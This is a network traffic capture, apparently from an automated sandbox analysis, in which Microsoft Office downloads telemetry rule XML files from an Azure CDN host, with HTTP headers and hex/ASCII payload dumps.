2024-11-30 03:12:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 203bed18-201e-006e-51a9-42bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031232Z-174f7845968cdxdrhC1EWRg0en00000010s000000000emza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:33 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 4edae9bd-001e-0017-14b4-420c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031233Z-174f78459684db9fhC1EWRc7g400000000z00000000013bg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:34 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:34 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031234Z-174f7845968kdththC1EWRzvxn0000000d4g00000000dy67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:35 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:34 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:35 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031235Z-174f7845968jrjrxhC1EWRmmrs00000010x000000000e982 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:35 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:34 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:35 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d392c6ed-201e-0033-72af-42b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031235Z-174f7845968vqt9xhC1EWRgten00000010t000000000h8gf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:35 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:35 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:35 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 8322dc88-e01e-00aa-270b-42ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031235Z-174f7845968qj8jrhC1EWRh41s00000010w00000000028a8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:36 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:35 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:35 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031235Z-174f7845968j6t2phC1EWRcfe8000000111g000000005pux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:37 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031241Z-174f7845968cdxdrhC1EWRg0en00000010v0000000006fb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:37 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031238Z-174f7845968nxc96hC1EWRspw800000010f000000000ku9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:37 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:38 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 3ecdff04-701e-003e-1903-4279b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031238Z-174f7845968psccphC1EWRuz9s000000111000000000e3sv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:38 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:37 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a70bbc6a-401e-0029-780b-419b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031238Z-174f7845968pght8hC1EWRyvxg0000000400000000008x0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:37 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
